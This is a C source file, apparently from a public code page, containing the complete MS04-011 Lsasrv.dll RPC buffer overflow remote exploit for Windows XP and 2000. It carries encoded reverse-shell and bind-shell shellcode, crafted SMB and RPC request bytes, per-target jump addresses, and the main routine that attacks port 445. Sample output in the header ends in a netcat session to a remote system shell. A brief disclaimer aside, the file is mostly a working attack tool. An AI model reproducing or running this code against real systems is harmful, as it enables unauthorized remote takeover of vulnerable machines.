523 lines
No EOL
18 KiB
C
523 lines
No EOL
18 KiB
C
/* HOD-ms04011-lsasrv-expl.c:
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*
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* MS04011 Lsasrv.dll RPC buffer overflow remote exploit
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* Version 0.1 coded by
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*
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*
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* .::[ houseofdabus ]::.
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*
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*
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* -------------------------------------------------------------------
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* Usage:
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*
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* expl <target> <victim IP> <bindport> [connectback IP] [options]
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*
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* Targets:
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* 0 [0x01004600]: WinXP Professional [universal] lsass.exe
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* 1 [0x7515123c]: Win2k Professional [universal] netrap.dll
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* 2 [0x751c123c]: Win2k Advanced Server [SP4] netrap.dll
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*
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* Options:
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* -t: Detect remote OS:
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* Windows 5.1 - WinXP
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* Windows 5.0 - Win2k
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* -------------------------------------------------------------------
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*
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* Tested on
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* - Windows XP Professional SP0 English version
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* - Windows XP Professional SP0 Russian version
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* - Windows XP Professional SP1 English version
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* - Windows XP Professional SP1 Russian version
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* - Windows 2000 Professional SP2 English version
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* - Windows 2000 Professional SP2 Russian version
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* - Windows 2000 Professional SP4 English version
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* - Windows 2000 Professional SP4 Russian version
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* - Windows 2000 Advanced Server SP4 English version
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* - Windows 2000 Advanced Server SP4 Russian version
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*
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*
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* Example:
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*
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* C:\HOD-ms04011-lsasrv-expl 0 192.168.1.10 4444 -t
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*
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* MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
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* --- Coded by .::[ houseofdabus ]::. ---
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*
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* [*] Target: IP: 192.168.1.10: OS: WinXP Professional [universal] lsass.exe
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* [*] Connecting to 192.168.1.10:445 ... OK
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* [*] Detecting remote OS: Windows 5.0
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*
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*
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* C:\HOD-ms04011-lsasrv-expl 1 192.168.1.10 4444
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*
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* MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
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* --- Coded by .::[ houseofdabus ]::. ---
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*
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* [*] Target: IP: 192.168.1.10: OS: Win2k Professional [universal] netrap.dll
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* [*] Connecting to 192.168.1.10:445 ... OK
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* [*] Attacking ... OK
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*
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* C:\nc 192.168.1.10 4444
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* Microsoft Windows 2000 [Version 5.00.2195]
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* (C) Copyright 1985-2000 Microsoft Corp.
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*
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* C:\WINNT\system32>
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*
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*
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*
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* This is provided as proof-of-concept code only for educational
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* purposes and testing by authorized individuals with permission to
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* do so.
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*/
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#include <windows.h>
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#pragma comment(lib, "ws2_32")
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// reverse shellcode
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unsigned char reverseshell[] =
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"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
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"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
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"\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
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"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99"
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"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
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"\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
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"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9"
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"\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x9D"
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"\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA"
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"\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32"
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"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10"
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"\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8"
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"\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66"
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"\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5"
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"\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8"
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"\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A"
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"\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12"
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"\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A"
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"\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C"
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"\x57\x76\x57\x79\xF9\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33"
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"\xF9\x7E\xE0\x5F\xE0";
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// bind shellcode
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unsigned char bindshell[] =
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"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA"
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"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
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"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
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"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
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"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
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"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
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"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
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"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
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"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
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"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
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"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
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"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D"
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"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
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"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
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"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
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"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
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"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
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"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
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"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
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"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
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"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
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"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
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"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
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"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
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"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
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"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";
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char req1[] =
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"\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
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"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
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"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
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"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
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"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
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"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
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"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
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"\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";
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char req2[] =
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"\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
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"\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"
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"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"
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"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"
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"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
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"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"
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"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
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"\x2E\x00\x30\x00\x00\x00\x00\x00";
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char req3[] =
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"\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
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"\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"
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"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"
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"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"
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"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40"
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"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"
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"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"
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"\x00\x4F\x00\x44\x00\x00\x81\x19\x6A\x7A\xF2\xE4\x49\x1C\x28\xAF"
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"\x30\x25\x74\x10\x67\x53\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"
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"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00"
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"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"
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"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"
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"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";
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char req4[] =
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"\x00\x00\x00\x5C\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
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"\x00\x08\x30\x00\x04\xFF\x00\x5C\x00\x08\x00\x01\x00\x31\x00\x00"
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"\x5C\x00\x5C\x00\x31\x00\x39\x00\x32\x00\x2E\x00\x31\x00\x36\x00"
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"\x38\x00\x2E\x00\x31\x00\x2E\x00\x32\x00\x31\x00\x30\x00\x5C\x00"
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"\x49\x00\x50\x00\x43\x00\x24"
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"\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00";
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char req5[] =
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"\x00\x00\x00\x64\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x07\xC8"
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
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"\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x0E\x00\x16\x00\x00\x00"
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"\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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"\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
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"\x02\x00\x00\x00\x03\x11\x00\x00\x5C\x00\x6C\x00\x73\x00\x61\x00"
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"\x72\x00\x70\x00\x63\x00\x00\x00";
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char req6[] =
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"\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
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"\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\x04\x00\x00\x00"
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02"
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"\x00\x26\x00\x00\x40\x59\x00\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
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"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x0B\x03\x10\x00\x00\x00"
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"\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\x00\x00\x00\x00"
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"\x01\x00\x00\x00\x00\x00\x01\x00\x6A\x28\x19\x39\x0C\xB1\xD0\x11"
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"\x9B\xA8\x00\xC0\x4F\xD9\x2E\xF5\x00\x00\x00\x00\x04\x5D\x88\x8A"
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"\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";
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char req7[] =
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"\x00\x00\x0C\xF4\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
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"\x00\x08\x60\x00\x10\x00\x00\xA0\x0C\x00\x00\x00\x04\x00\x00\x00"
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"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\xA0\x0C\x54\x00\x02"
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"\x00\x26\x00\x00\x40\xB1\x0C\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
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"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x03\x10\x00\x00\x00"
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"\xA0\x0C\x00\x00\x01\x00\x00\x00\x88\x0C\x00\x00\x00\x00\x09\x00"
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"\xEC\x03\x00\x00\x00\x00\x00\x00\xEC\x03\x00\x00";
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// room for shellcode here ...
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char shit1[] =
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"\x95\x14\x40\x00\x03\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00"
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"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
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"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
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"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
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"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x7C\x70\x40\x00"
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"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
|
|
"\x00\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x01\x00\x00\x00\x00\x00\x00\x00\x78\x85\x13\x00\xAB\x5B\xA6\xE9";
|
|
|
|
char req8[] =
|
|
"\x00\x00\x10\xF8\xFF\x53\x4D\x42\x2F\x00\x00\x00\x00\x18\x07\xC8"
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE"
|
|
"\x00\x08\x60\x00\x0E\xFF\x00\xDE\xDE\x00\x40\x00\x00\x00\x00\xFF"
|
|
"\xFF\xFF\xFF\x08\x00\xB8\x10\x00\x00\xB8\x10\x40\x00\x00\x00\x00"
|
|
"\x00\xB9\x10\xEE\x05\x00\x00\x01\x10\x00\x00\x00\xB8\x10\x00\x00"
|
|
"\x01\x00\x00\x00\x0C\x20\x00\x00\x00\x00\x09\x00\xAD\x0D\x00\x00"
|
|
"\x00\x00\x00\x00\xAD\x0D\x00\x00";
|
|
// room for shellcode here ...
|
|
|
|
char req9[] =
|
|
"\x00\x00\x0F\xD8\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x18\x01"
|
|
"\x00\x08\x70\x00\x10\x00\x00\x84\x0F\x00\x00\x00\x04\x00\x00\x00"
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x84\x0F\x54\x00\x02"
|
|
"\x00\x26\x00\x00\x40\x95\x0F\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
|
|
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x02\x10\x00\x00\x00"
|
|
"\x84\x0F\x00\x00\x01\x00\x00\x00\x6C\x0F\x00\x00\x00\x00\x09\x00";
|
|
|
|
|
|
char shit3[] =
|
|
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x01\x00\x00\x00"
|
|
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
|
|
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
|
|
"\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00"
|
|
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00"
|
|
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00";
|
|
|
|
|
|
|
|
|
|
#define LEN 3500
|
|
#define BUFSIZE 2000
|
|
#define NOP 0x90
|
|
|
|
struct targets {
|
|
|
|
int num;
|
|
char name[50];
|
|
long jmpaddr;
|
|
|
|
} ttarget[]= {
|
|
|
|
{ 0, "WinXP Professional [universal] lsass.exe ", 0x01004600 }, // jmp esp addr
|
|
{ 1, "Win2k Professional [universal] netrap.dll", 0x7515123c }, // jmp ebx addr
|
|
{ 2, "Win2k Advanced Server [SP4] netrap.dll", 0x751c123c }, // jmp ebx addr
|
|
//{ 3, "reboot", 0xffffffff }, // crash
|
|
{ NULL }
|
|
|
|
};
|
|
|
|
void usage(char *prog)
|
|
{
|
|
int i;
|
|
printf("Usage:\n\n");
|
|
printf("%s <target> <victim IP> <bindport> [connectback IP] [options]\n\n", prog);
|
|
printf("Targets:\n");
|
|
for (i=0; i<3; i++)
|
|
printf(" %d [0x%.8x]: %s\n", ttarget[i].num, ttarget[i].jmpaddr, ttarget[i].name);
|
|
printf("\nOptions:\n");
|
|
printf(" -t: Detect remote OS:\n");
|
|
printf(" Windows 5.1 - WinXP\n");
|
|
printf(" Windows 5.0 - Win2k\n\n");
|
|
exit(0);
|
|
}
|
|
|
|
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
|
|
int i;
|
|
int opt = 0;
|
|
char *target;
|
|
char hostipc[40];
|
|
char hostipc2[40*2];
|
|
|
|
unsigned short port;
|
|
unsigned long ip;
|
|
unsigned char *sc;
|
|
|
|
char buf[LEN+1];
|
|
char sendbuf[(LEN+1)*2];
|
|
|
|
char req4u[sizeof(req4)+20];
|
|
|
|
char screq[BUFSIZE+sizeof(req7)+1500+440];
|
|
char screq2k[4348+4060];
|
|
char screq2k2[4348+4060];
|
|
|
|
char recvbuf[1600];
|
|
|
|
char strasm[]="\x66\x81\xEC\x1C\x07\xFF\xE4";
|
|
char strBuffer[BUFSIZE];
|
|
|
|
unsigned int targetnum = 0;
|
|
|
|
int len, sockfd;
|
|
short dport = 445;
|
|
struct hostent *he;
|
|
struct sockaddr_in their_addr;
|
|
char smblen;
|
|
char unclen;
|
|
WSADATA wsa;
|
|
|
|
|
|
printf("\nMS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1\n");
|
|
printf("--- Coded by .::[ houseofdabus ]::. ---\n\n");
|
|
|
|
|
|
if (argc < 4) {
|
|
usage(argv[0]);
|
|
}
|
|
|
|
target = argv[2];
|
|
sprintf((char *)hostipc,"\\\\%s\\ipc$", target);
|
|
|
|
for (i=0; i<40; i++) {
|
|
hostipc2[i*2] = hostipc[i];
|
|
hostipc2[i*2+1] = 0;
|
|
}
|
|
|
|
memcpy(req4u, req4, sizeof(req4)-1);
|
|
memcpy(req4u+48, &hostipc2[0], strlen(hostipc)*2);
|
|
memcpy(req4u+47+strlen(hostipc)*2, req4+87, 9);
|
|
|
|
smblen = 52+(char)strlen(hostipc)*2;
|
|
memcpy(req4u+3, &smblen, 1);
|
|
|
|
unclen = 9 + (char)strlen(hostipc)*2;
|
|
memcpy(req4u+45, &unclen, 1);
|
|
|
|
if (argc > 4)
|
|
if (!memcmp(argv[4], "-t", 2)) opt = 1;
|
|
|
|
if ( (argc > 4) && !opt ) {
|
|
port = htons(atoi(argv[3]))^(USHORT)0x9999;
|
|
ip = inet_addr(argv[4])^(ULONG)0x99999999;
|
|
memcpy(&reverseshell[118], &port, 2);
|
|
memcpy(&reverseshell[111], &ip, 4);
|
|
sc = reverseshell;
|
|
} else {
|
|
port = htons(atoi(argv[3]))^(USHORT)0x9999;
|
|
memcpy(&bindshell[176], &port, 2);
|
|
sc = bindshell;
|
|
}
|
|
|
|
|
|
if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
|
|
memset(buf, NOP, LEN);
|
|
|
|
//memcpy(&buf[2020], "\x3c\x12\x15\x75", 4);
|
|
memcpy(&buf[2020], &ttarget[atoi(argv[1])].jmpaddr, 4);
|
|
memcpy(&buf[2036], sc, strlen(sc));
|
|
|
|
memcpy(&buf[2840], "\xeb\x06\xeb\x06", 4);
|
|
memcpy(&buf[2844], &ttarget[atoi(argv[1])].jmpaddr, 4); // jmp ebx addr
|
|
//memcpy(&buf[2844], "\x3c\x12\x15\x75", 4); // jmp ebx addr
|
|
|
|
memcpy(&buf[2856], sc, strlen(sc));
|
|
|
|
for (i=0; i<LEN; i++) {
|
|
sendbuf[i*2] = buf[i];
|
|
sendbuf[i*2+1] = 0;
|
|
}
|
|
sendbuf[LEN*2]=0;
|
|
sendbuf[LEN*2+1]=0;
|
|
|
|
memset(screq2k, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);
|
|
memset(screq2k2, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);
|
|
|
|
} else {
|
|
memset(strBuffer, NOP, BUFSIZE);
|
|
memcpy(strBuffer+160, sc, strlen(sc));
|
|
memcpy(strBuffer+1980, strasm, strlen(strasm));
|
|
*(long *)&strBuffer[1964]=ttarget[atoi(argv[1])].jmpaddr;
|
|
}
|
|
|
|
memset(screq, 0x31, BUFSIZE+sizeof(req7)+1500);
|
|
|
|
WSAStartup(MAKEWORD(2,0),&wsa);
|
|
|
|
if ((he=gethostbyname(argv[2])) == NULL) { // get the host info
|
|
perror("[-] gethostbyname ");
|
|
exit(1);
|
|
}
|
|
|
|
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
|
|
perror("socket");
|
|
exit(1);
|
|
}
|
|
|
|
|
|
their_addr.sin_family = AF_INET;
|
|
their_addr.sin_port = htons(dport);
|
|
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
|
|
memset(&(their_addr.sin_zero), '\0', 8);
|
|
|
|
printf("[*] Target: IP: %s: OS: %s\n", argv[2], ttarget[atoi(argv[1])].name);
|
|
printf("[*] Connecting to %s:445 ... ", argv[2]);
|
|
if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
|
|
{
|
|
printf("\n[-] Sorry, cannot connect to %s:445. Try again...\n", argv[2]);
|
|
exit(1);
|
|
}
|
|
printf("OK\n");
|
|
|
|
if (send(sockfd, req1, sizeof(req1)-1, 0) == -1) {
|
|
printf("[-] Send failed\n");
|
|
exit(1);
|
|
}
|
|
len = recv(sockfd, recvbuf, 1600, 0);
|
|
|
|
if (send(sockfd, req2, sizeof(req2)-1, 0) == -1) {
|
|
printf("[-] Send failed\n");
|
|
exit(1);
|
|
}
|
|
len = recv(sockfd, recvbuf, 1600, 0);
|
|
|
|
if (send(sockfd, req3, sizeof(req3)-1, 0) == -1) {
|
|
printf("[-] Send failed\n");
|
|
exit(1);
|
|
}
|
|
len = recv(sockfd, recvbuf, 1600, 0);
|
|
|
|
if ((argc > 5) || opt) {
|
|
printf("[*] Detecting remote OS: ");
|
|
for (i=0; i<12; i++) {
|
|
printf("%c", recvbuf[48+i*2]);
|
|
}
|
|
printf("\n");
|
|
exit(0);
|
|
}
|
|
|
|
printf("[*] Attacking ... ");
|
|
if (send(sockfd, req4u, smblen+4, 0) == -1) {
|
|
printf("[-] Send failed\n");
|
|
exit(1);
|
|
}
|
|
len = recv(sockfd, recvbuf, 1600, 0);
|
|
|
|
if (send(sockfd, req5, sizeof(req5)-1, 0) == -1) {
|
|
printf("[-] Send failed\n");
|
|
exit(1);
|
|
}
|
|
len = recv(sockfd, recvbuf, 1600, 0);
|
|
|
|
|
|
if (send(sockfd, req6, sizeof(req6)-1, 0) == -1) {
|
|
printf("[-] Send failed\n");
|
|
exit(1);
|
|
}
|
|
len = recv(sockfd, recvbuf, 1600, 0);
|
|
|
|
if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
|
|
memcpy(screq2k, req8, sizeof(req8)-1);
|
|
memcpy(screq2k+sizeof(req8)-1, sendbuf, (LEN+1)*2);
|
|
|
|
memcpy(screq2k2, req9, sizeof(req9)-1);
|
|
memcpy(screq2k2+sizeof(req9)-1, sendbuf+4348-sizeof(req8)+1, (LEN+1)*2-4348);
|
|
|
|
memcpy(screq2k2+sizeof(req9)-1+(LEN+1)*2-4348-sizeof(req8)+1+206, shit3, sizeof(shit3)-
|
|
1);
|
|
|
|
if (send(sockfd, screq2k, 4348, 0) == -1) {
|
|
printf("[-] Send failed\n");
|
|
exit(1);
|
|
}
|
|
len = recv(sockfd, recvbuf, 1600, 0);
|
|
|
|
if (send(sockfd, screq2k2, 4060, 0) == -1) {
|
|
printf("[-] Send failed\n");
|
|
exit(1);
|
|
}
|
|
|
|
} else {
|
|
memcpy(screq, req7, sizeof(req7)-1);
|
|
memcpy(screq+sizeof(req7)-1, &strBuffer[0], BUFSIZE);
|
|
memcpy(screq+sizeof(req7)-1+BUFSIZE, shit1, 9*16);
|
|
|
|
screq[BUFSIZE+sizeof(req7)-1+1500-304-1] = 0;
|
|
if (send(sockfd, screq, BUFSIZE+sizeof(req7)-1+1500-304, 0)== -1){
|
|
printf("[-] Send failed\n");
|
|
exit(1);
|
|
}
|
|
}
|
|
printf("OK\n");
|
|
|
|
len = recv(sockfd, recvbuf, 1600, 0);
|
|
|
|
return 0;
|
|
}
|
|
|
|
// milw0rm.com [2004-04-29]
|